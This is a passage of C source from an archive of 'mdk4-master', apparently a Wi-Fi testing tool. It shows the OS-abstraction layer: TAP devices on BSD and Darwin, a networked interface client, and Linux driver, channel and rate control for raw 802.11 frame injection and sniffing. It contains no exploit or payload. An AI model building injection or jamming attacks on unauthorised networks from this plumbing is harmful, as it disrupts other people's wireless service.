struct tx_info *ti) { struct priv_net *pn = wi_priv(wi); int sz = sizeof(*ti); unsigned char buf[2048]; unsigned char *ptr = buf; /* XXX */ if (ti) memcpy(ptr, ti, sz); else memset(ptr, 0, sizeof(*ti)); ptr += sz; memcpy(ptr, h80211, len); sz += len; return net_cmd(pn, NET_WRITE, buf, sz); } static int net_set_channel(struct wif *wi, int chan) { uint32_t c = htonl(chan); return net_cmd(wi_priv(wi), NET_SET_CHAN, &c, sizeof(c)); } static int net_get_channel(struct wif *wi) { struct priv_net *pn = wi_priv(wi); return net_cmd(pn, NET_GET_CHAN, NULL, 0); } static int net_set_rate(struct wif *wi, int rate) { uint32_t c = htonl(rate); return net_cmd(wi_priv(wi), NET_SET_RATE, &c, sizeof(c)); } static int net_get_rate(struct wif *wi) { struct priv_net *pn = wi_priv(wi); return net_cmd(pn, NET_GET_RATE, NULL, 0); } static int net_get_monitor(struct wif *wi) { return net_cmd(wi_priv(wi), NET_GET_MONITOR, NULL, 0); } static void do_net_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void net_close(struct wif *wi) { struct priv_net *pn = wi_priv(wi); close(pn->pn_s); do_net_free(wi); } static int get_ip_port(char *iface, char *ip, const int ipsize) { char *host; char *ptr; int port = -1; struct in_addr addr; host = strdup(iface); if (!host) return -1; ptr = strchr(host, ':'); if (!ptr) goto out; *ptr++ = 0; if (!inet_aton(host, &addr)) goto out; /* XXX resolve hostname */ assert(strlen(host) <= 15); strncpy(ip, host, ipsize); port = atoi(ptr); out: free(host); return port; } static int handshake(int s) { if (s) {} /* XXX unused */ /* XXX do a handshake */ return 0; } static int do_net_open(char *iface) { int s, port; char ip[16]; struct sockaddr_in s_in; port = get_ip_port(iface, ip, sizeof(ip)-1); if (port == -1) return -1; s_in.sin_family = PF_INET; s_in.sin_port = htons(port); if (!inet_aton(ip, &s_in.sin_addr)) return -1; if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) return -1; printf("Connecting to %s port %d...\n", ip, port); if (connect(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) { close(s); printf("Failed to connect\n"); return -1; } if (handshake(s) == -1) { close(s); printf("Failed to connect - handshake failed\n"); return -1; } printf("Connection successful\n"); return s; } static int net_fd(struct wif *wi) { struct priv_net *pn = wi_priv(wi); return pn->pn_s; } struct wif *net_open(char *iface) { struct wif *wi; struct priv_net *pn; int s; /* setup wi struct */ wi = wi_alloc(sizeof(*pn)); if (!wi) return NULL; wi->wi_read = net_read; wi->wi_write = net_write; wi->wi_set_channel = net_set_channel; wi->wi_get_channel = net_get_channel; wi->wi_set_rate = net_set_rate; wi->wi_get_rate = net_get_rate; wi->wi_close = net_close; wi->wi_fd = net_fd; wi->wi_get_mac = net_get_mac; wi->wi_get_monitor = net_get_monitor; /* setup iface */ s = do_net_open(iface); if (s == -1) { do_net_free(wi); return NULL; } /* setup private state */ pn = wi_priv(wi); pn->pn_s = s; pn->pn_queue.q_next = pn->pn_queue.q_prev = &pn->pn_queue; pn->pn_queue_free.q_next = pn->pn_queue_free.q_prev = &pn->pn_queue_free; return wi; } mdk4-master/src/osdep/netbsd_tap.c0000644000175000017500000001120013525065636020157 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for NetBSD. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_nbsd { int tn_fd; int tn_ioctls; struct ifreq tn_ifr; char tn_name[MAX_IFACE_NAME]; int tn_destroy; }; static int ti_do_open_nbsd(struct tif *ti, char *name) { int fd; char *iface = "/dev/tap"; struct stat st; struct tip_nbsd *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; /* open tap */ if (name) iface = name; else priv->tn_destroy = 1; /* we create, we destroy */ fd = open(iface, O_RDWR); if (fd == -1) return -1; /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->tn_name, sizeof(priv->tn_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->tn_ioctls = s; /* get flags */ ifr = &priv->tn_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tn_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = ifr->ifr_flags; /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_nbsd *priv) { ioctl(priv->tn_ioctls, SIOCIFDESTROY, &priv->tn_ifr); } static void ti_close_nbsd(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); if (priv->tn_destroy) ti_destroy(priv); close(priv->tn_fd); close(priv->tn_ioctls); ti_do_free(ti); } static char *ti_name_nbsd(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); return priv->tn_name; } static int ti_set_mtu_nbsd(struct tif *ti, int mtu) { struct tip_nbsd *priv = ti_priv(ti); priv->tn_ifr.ifr_mtu = mtu; return ioctl(priv->tn_ioctls, SIOCSIFMTU, &priv->tn_ifr); } static int ti_set_mac_nbsd(struct tif *ti, unsigned char *mac) { struct tip_nbsd *priv = ti_priv(ti); struct ifreq *ifr = &priv->tn_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->tn_ioctls, SIOCSIFADDR, ifr); } static int ti_set_ip_nbsd(struct tif *ti, struct in_addr *ip) { struct tip_nbsd *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strncpy(ifra.ifra_name, priv->tn_ifr.ifr_name, IFNAMSIZ); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->tn_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_nbsd(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); return priv->tn_fd; } static int ti_read_nbsd(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_nbsd(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_nbsd(char *iface) { struct tif *ti; struct tip_nbsd *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_nbsd; ti->ti_set_mtu = ti_set_mtu_nbsd; ti->ti_close = ti_close_nbsd; ti->ti_fd = ti_fd_nbsd; ti->ti_read = ti_read_nbsd; ti->ti_write = ti_write_nbsd; ti->ti_set_mac = ti_set_mac_nbsd; ti->ti_set_ip = ti_set_ip_nbsd; /* setup iface */ fd = ti_do_open_nbsd(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tn_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_nbsd(iface); } mdk4-master/src/osdep/cygwin.h0000644000175000017500000000364613525065636017360 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for cygwin. It relies on an external * DLL to do the actual wifi stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ // DLL function that have to be exported #define CYGWIN_DLL_INIT cygwin_init #define CYGWIN_DLL_SET_CHAN cygwin_set_chan #define CYGWIN_DLL_SET_FREQ cygwin_set_freq #define CYGWIN_DLL_INJECT cygwin_inject #define CYGWIN_DLL_SNIFF cygwin_sniff #define CYGWIN_DLL_GET_MAC cygwin_get_mac #define CYGWIN_DLL_SET_MAC cygwin_set_mac #define CYGWIN_DLL_CLOSE cygwin_close /* * Prototypes: * int CYGWIN_DLL_INIT (char *param); * int CYGWIN_DLL_SET_CHAN (int chan); * int CYGWIN_DLL_INJECT (void *buf, int len, struct tx_info *ti); * int CYGWIN_DLL_SNIFF (void *buf, int len, struct rx_info *ri); * int CYGWIN_DLL_GET_MAC (unsigned char *mac); * int CYGWIN_DLL_SET_MAC (unsigned char *mac); * void CYGWIN_DLL_CLOSE (void); * * Notes: * - sniff can block and inject can be called by another thread. * - return -1 for error. * */ /* XXX the interface is broken. init() should return a void* that is passed to * each call. This way multiple instances can be open by a single process. * -sorbo * */ mdk4-master/src/osdep/darwin_tap.c0000644000175000017500000001270113525065636020173 0ustar samuelophsamueloph /* * Copyright (c) 2009, Kyle Fuller , based upon * freebsd_tap.c by Andrea Bittau * * OS dependent API for Darwin. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #define MAX_TAP_DEVS 16 struct tip_darwin { int tf_fd; int tf_ioctls; struct ifreq tf_ifr; char tf_name[MAX_IFACE_NAME]; int tf_destroy; }; static int ti_do_open_darwin(struct tif *ti, char *name) { int fd = -1; char iface[12]; struct stat st; struct tip_darwin *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; int i; /* open tap */ if (name) { fd = open(name, O_RDWR); } else { priv->tf_destroy = 1; /* we create, we destroy */ for (i = 0; i < MAX_TAP_DEVS; i++) { snprintf(iface, sizeof(iface), "/dev/tap%d", i); fd = open(iface, O_RDWR); if (fd != -1) { break; } } } if (fd == -1) { return -1; } /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->tf_name, sizeof(priv->tf_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->tf_ioctls = s; /* get flags */ ifr = &priv->tf_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tf_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = (ifr->ifr_flags & 0xffff); /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_darwin *priv) { ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr); } static void ti_close_darwin(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); if (priv->tf_destroy) ti_destroy(priv); close(priv->tf_fd); close(priv->tf_ioctls); ti_do_free(ti); } static char *ti_name_darwin(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); return priv->tf_name; } static int ti_set_mtu_darwin(struct tif *ti, int mtu) { struct tip_darwin *priv = ti_priv(ti); priv->tf_ifr.ifr_mtu = mtu; return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr); } static int ti_set_mac_darwin(struct tif *ti, unsigned char *mac) { struct tip_darwin *priv = ti_priv(ti); struct ifreq *ifr = &priv->tf_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr); } static int ti_set_ip_darwin(struct tif *ti, struct in_addr *ip) { struct tip_darwin *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_darwin(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); return priv->tf_fd; } static int ti_read_darwin(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_darwin(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_darwin(char *iface) { struct tif *ti; struct tip_darwin *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_darwin; ti->ti_set_mtu = ti_set_mtu_darwin; ti->ti_close = ti_close_darwin; ti->ti_fd = ti_fd_darwin; ti->ti_read = ti_read_darwin; ti->ti_write = ti_write_darwin; ti->ti_set_mac = ti_set_mac_darwin; ti->ti_set_ip = ti_set_ip_darwin; /* setup iface */ fd = ti_do_open_darwin(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tf_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_darwin(iface); } mdk4-master/src/osdep/freebsd_tap.c0000644000175000017500000001130413525065636020317 0ustar samuelophsamueloph /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for FreeBSD. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_fbsd { int tf_fd; int tf_ioctls; struct ifreq tf_ifr; char tf_name[MAX_IFACE_NAME]; int tf_destroy; }; static int ti_do_open_fbsd(struct tif *ti, char *name) { int fd; char *iface = "/dev/tap"; struct stat st; struct tip_fbsd *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; /* open tap */ if (name) iface = name; else priv->tf_destroy = 1; /* we create, we destroy */ fd = open(iface, O_RDWR); if (fd == -1) return -1; /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->tf_name, sizeof(priv->tf_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->tf_ioctls = s; /* get flags */ ifr = &priv->tf_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tf_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = (ifr->ifr_flags & 0xffff) | (ifr->ifr_flagshigh << 16); /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; ifr->ifr_flagshigh = flags >> 16; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_fbsd *priv) { ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr); } static void ti_close_fbsd(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); if (priv->tf_destroy) ti_destroy(priv); close(priv->tf_fd); close(priv->tf_ioctls); ti_do_free(ti); } static char *ti_name_fbsd(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); return priv->tf_name; } static int ti_set_mtu_fbsd(struct tif *ti, int mtu) { struct tip_fbsd *priv = ti_priv(ti); priv->tf_ifr.ifr_mtu = mtu; return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr); } static int ti_set_mac_fbsd(struct tif *ti, unsigned char *mac) { struct tip_fbsd *priv = ti_priv(ti); struct ifreq *ifr = &priv->tf_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr); } static int ti_set_ip_fbsd(struct tif *ti, struct in_addr *ip) { struct tip_fbsd *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_fbsd(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); return priv->tf_fd; } static int ti_read_fbsd(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_fbsd(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_fbsd(char *iface) { struct tif *ti; struct tip_fbsd *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_fbsd; ti->ti_set_mtu = ti_set_mtu_fbsd; ti->ti_close = ti_close_fbsd; ti->ti_fd = ti_fd_fbsd; ti->ti_read = ti_read_fbsd; ti->ti_write = ti_write_fbsd; ti->ti_set_mac = ti_set_mac_fbsd; ti->ti_set_ip = ti_set_ip_fbsd; /* setup iface */ fd = ti_do_open_fbsd(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tf_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_fbsd(iface); } mdk4-master/src/osdep/linux.c0000644000175000017500000017437313525065636017220 0ustar samuelophsamueloph/* * OS dependent APIs for Linux * * Copyright (C) 2006-2015 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef CONFIG_LIBNL #include #include #include #include #include #include #include #endif //CONFIG_LIBNL #include "radiotap/radiotap.h" #include "radiotap/radiotap_iter.h" /* radiotap-parser defines types like u8 that * ieee80211_radiotap.h needs * * we use our local copy of ieee80211_radiotap.h * * - since we can't support extensions we don't understand * - since linux does not include it in userspace headers */ #include "osdep.h" #include "pcap.h" #include "crctable_osdep.h" #include "common.h" #include "byteorder.h" #ifdef CONFIG_LIBNL struct nl80211_state state; static int chan; #endif //CONFIG_LIBNL /* if_nametoindex is defined in net/if.h but that conflicts with linux/if.h */ extern unsigned int if_nametoindex (const char *__ifname); extern char *if_indextoname (unsigned int __ifindex, char *__ifname); typedef enum { DT_NULL = 0, DT_WLANNG, DT_HOSTAP, DT_MADWIFI, DT_MADWIFING, DT_BCM43XX, DT_ORINOCO, DT_ZD1211RW, DT_ACX, DT_MAC80211_RT, DT_AT76USB, DT_IPW2200 } DRIVER_TYPE; static const char * szaDriverTypes[] = { [DT_NULL] = "Unknown", [DT_WLANNG] = "Wlan-NG", [DT_HOSTAP] = "HostAP", [DT_MADWIFI] = "Madwifi", [DT_MADWIFING] = "Madwifi-NG", [DT_BCM43XX] = "BCM43xx", [DT_ORINOCO] = "Orinoco", [DT_ZD1211RW] = "ZD1211RW", [DT_ACX] = "ACX", [DT_MAC80211_RT] = "Mac80211-Radiotap", [DT_AT76USB] = "Atmel 76_usb", [DT_IPW2200] = "ipw2200" }; /* * XXX need to have a different read/write/open function for each Linux driver. */ struct priv_linux { int fd_in, arptype_in; int fd_out, arptype_out; int fd_main; int fd_rtc; DRIVER_TYPE drivertype; /* inited to DT_UNKNOWN on allocation by wi_alloc */ FILE *f_cap_in; struct pcap_file_header pfh_in; int sysfs_inject; int channel; int freq; int rate; int tx_power; char *wlanctlng; /* XXX never set */ char *iwpriv; char *iwconfig; char *ifconfig; char *wl; char *main_if; unsigned char pl_mac[6]; int inject_wlanng; }; #ifndef ETH_P_80211_RAW #define ETH_P_80211_RAW 25 #endif #define ARPHRD_IEEE80211 801 #define ARPHRD_IEEE80211_PRISM 802 #define ARPHRD_IEEE80211_FULL 803 #ifndef NULL_MAC #define NULL_MAC "\x00\x00\x00\x00\x00\x00" #endif unsigned long calc_crc_osdep( unsigned char * buf, int len) { unsigned long crc = 0xFFFFFFFF; for( ; len > 0; len--, buf++ ) crc = crc_tbl_osdep[(crc ^ *buf) & 0xFF] ^ ( crc >> 8 ); return( ~crc ); } /* CRC checksum verification routine */ int check_crc_buf_osdep( unsigned char *buf, int len ) { unsigned long crc; if (len<0) return 0; crc = calc_crc_osdep(buf, len); buf+=len; return( ( ( crc ) & 0xFF ) == buf[0] && ( ( crc >> 8 ) & 0xFF ) == buf[1] && ( ( crc >> 16 ) & 0xFF ) == buf[2] && ( ( crc >> 24 ) & 0xFF ) == buf[3] ); } //Check if the driver is ndiswrapper */ static int is_ndiswrapper(const char * iface, const char * path) { int n, pid, unused; if (!path || !iface) return 0; if ((pid=fork())==0) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execl(path, "iwpriv",iface, "ndis_reset", NULL); exit( 1 ); } waitpid( pid, &n, 0 ); return ( ( WIFEXITED(n) && WEXITSTATUS(n) == 0 )); } /* Search a file recursively */ static char * searchInside(const char * dir, const char * filename) { char * ret; char * curfile; struct stat sb; int len, lentot; DIR *dp; struct dirent *ep; dp = opendir(dir); if (dp == NULL) { return NULL; } len = strlen( filename ); lentot = strlen( dir ) + 256 + 2; curfile = (char *) calloc( 1, lentot ); while ((ep = readdir(dp)) != NULL) { memset(curfile, 0, lentot); sprintf(curfile, "%s/%s", dir, ep->d_name); //Checking if it's the good file if ((int)strlen( ep->d_name) == len && !strcmp(ep->d_name, filename)) { (void)closedir(dp); return curfile; } //If it's a directory and not a link, try to go inside to search if ( lstat(curfile, &sb)==0 && S_ISDIR(sb.st_mode) && !S_ISLNK(sb.st_mode)) { //Check if the directory isn't "." or ".." if (strcmp(".", ep->d_name) && strcmp("..", ep->d_name)) { //Recursive call ret = searchInside(curfile, filename); if (ret != NULL) { (void)closedir(dp); free( curfile ); return ret; } } } } (void)closedir(dp); free( curfile ); return NULL; } /* Search a wireless tool and return its path */ static char * wiToolsPath(const char * tool) { char * path /*, *found, *env */; int i, nbelems; static const char * paths [] = { "/sbin", "/usr/sbin", "/usr/local/sbin", "/bin", "/usr/bin", "/usr/local/bin", "/tmp" }; // Also search in other known location just in case we haven't found it yet nbelems = sizeof(paths) / sizeof(char *); for (i = 0; i < nbelems; i++) { path = searchInside(paths[i], tool); if (path != NULL) return path; } return NULL; } /* nl80211 */ #ifdef CONFIG_LIBNL struct nl80211_state { #if !defined(CONFIG_LIBNL30) && !defined(CONFIG_LIBNL20) struct nl_handle *nl_sock; #else struct nl_sock *nl_sock; #endif struct nl_cache *nl_cache; struct genl_family *nl80211; }; #if !defined(CONFIG_LIBNL30) && !defined(CONFIG_LIBNL20) static inline struct nl_handle *nl_socket_alloc(void) { return nl_handle_alloc(); } static inline void nl_socket_free(struct nl_handle *h) { nl_handle_destroy(h); } static inline int __genl_ctrl_alloc_cache(struct nl_handle *h, struct nl_cache **cache) { struct nl_cache *tmp = genl_ctrl_alloc_cache(h); if (!tmp) return -ENOMEM; *cache = tmp; return 0; } #define genl_ctrl_alloc_cache __genl_ctrl_alloc_cache #endif static int linux_nl80211_init(struct nl80211_state *state) { int err; state->nl_sock = nl_socket_alloc(); if (!state->nl_sock) { fprintf(stderr, "Failed to allocate netlink socket.\n"); return -ENOMEM; } if (genl_connect(state->nl_sock)) { fprintf(stderr, "Failed to connect to generic netlink.\n"); err = -ENOLINK; goto out_handle_destroy; } if (genl_ctrl_alloc_cache(state->nl_sock, &state->nl_cache)) { fprintf(stderr, "Failed to allocate generic netlink cache.\n"); err = -ENOMEM; goto out_handle_destroy; } state->nl80211 = genl_ctrl_search_by_name(state->nl_cache, "nl80211"); if (!state->nl80211) { fprintf(stderr, "nl80211 not found.\n"); err = -ENOENT; goto out_cache_free; } return 0; out_cache_free: nl_cache_free(state->nl_cache); out_handle_destroy: nl_socket_free(state->nl_sock); return err; } static void nl80211_cleanup(struct nl80211_state *state) { genl_family_put(state->nl80211); nl_cache_free(state->nl_cache); nl_socket_free(state->nl_sock); } /* Callbacks */ /* static int error_handler(struct sockaddr_nl *nla, struct nlmsgerr *err, void *arg) { if (nla) { } printf("\n\n\nERROR"); int *ret = arg; *ret = err->error; return NL_STOP; } */ /* static void test_callback(struct nl_msg *msg, void *arg) { if (msg || arg) { } } */ #endif /* End nl80211 */ static int linux_get_channel(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct iwreq wrq; int fd, frequency; int chan=0; memset( &wrq, 0, sizeof( struct iwreq ) ); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; fd = dev->fd_in; if(dev->drivertype == DT_IPW2200) fd = dev->fd_main; if( ioctl( fd, SIOCGIWFREQ, &wrq ) < 0 ) return( -1 ); frequency = wrq.u.freq.m; if (frequency > 100000000) frequency/=100000; else if (frequency > 1000000) frequency/=1000; if (frequency > 1000) chan = getChannelFromFrequency(frequency); else chan = frequency; return chan; } static int linux_get_freq(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct iwreq wrq; int fd, frequency; memset( &wrq, 0, sizeof( struct iwreq ) ); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; fd = dev->fd_in; if(dev->drivertype == DT_IPW2200) fd = dev->fd_main; if( ioctl( fd, SIOCGIWFREQ, &wrq ) < 0 ) return( -1 ); frequency = wrq.u.freq.m; if (frequency > 100000000) frequency/=100000; else if (frequency > 1000000) frequency/=1000; if (frequency < 500) //its not a freq, but the actual channel frequency = getFrequencyFromChannel(frequency); return frequency; } static int linux_set_rate(struct wif *wi, int rate) { struct priv_linux *dev = wi_priv(wi); struct ifreq ifr; struct iwreq wrq; char s[32]; int pid, status, unused; memset(s, 0, sizeof(s)); switch(dev->drivertype) { case DT_MADWIFING: memset( &ifr, 0, sizeof( ifr ) ); strncpy( ifr.ifr_name, wi_get_ifname(wi), sizeof( ifr.ifr_name ) - 1 ); if( ioctl( dev->fd_in, SIOCGIFINDEX, &ifr ) < 0 ) { printf("Interface %s: \n", wi_get_ifname(wi)); perror( "ioctl(SIOCGIFINDEX) failed" ); return( 1 ); } /* Bring interface down*/ ifr.ifr_flags = 0; if( ioctl( dev->fd_in, SIOCSIFFLAGS, &ifr ) < 0 ) { perror( "ioctl(SIOCSIFFLAGS) failed" ); return( 1 ); } usleep(100000); snprintf( s, sizeof( s ) - 1, "%.1fM", (rate/1000000.0) ); if( ( pid = fork() ) == 0 ) { close( 0 ); close( 1 ); close( 2 ); unused = chdir( "/" ); execlp(dev->iwconfig, "iwconfig", wi_get_ifname(wi), "rate", s, NULL ); exit( 1 ); } waitpid( pid, &status, 0 ); return 0; break; case DT_MAC80211_RT: dev->rate = (rate/500000); //return 0; //Newer mac80211 stacks (2.6.31 and up) //don't care about Radiotap header anymore, so ioctl below must also be done! //[see Documentation/networking/mac80211-injection.txt] break; default: break; } /* ELSE */ memset( &wrq, 0, sizeof( struct iwreq ) ); if(dev->main_if) strncpy( wrq.ifr_name, dev->main_if, IFNAMSIZ ); else strncpy( wrq.ifr_name, wi_get_ifname(wi), IFNAMSIZ ); wrq.ifr_name[IFNAMSIZ-1] = 0; wrq.u.bitrate.value = rate; wrq.u.bitrate.fixed = 1; if( ioctl( dev->fd_in, SIOCSIWRATE, &wrq ) < 0 ) { return( -1 ); } return 0; } static int linux_get_rate(struct wif *wi) { struct priv_linux *dev = wi_priv(wi); struct 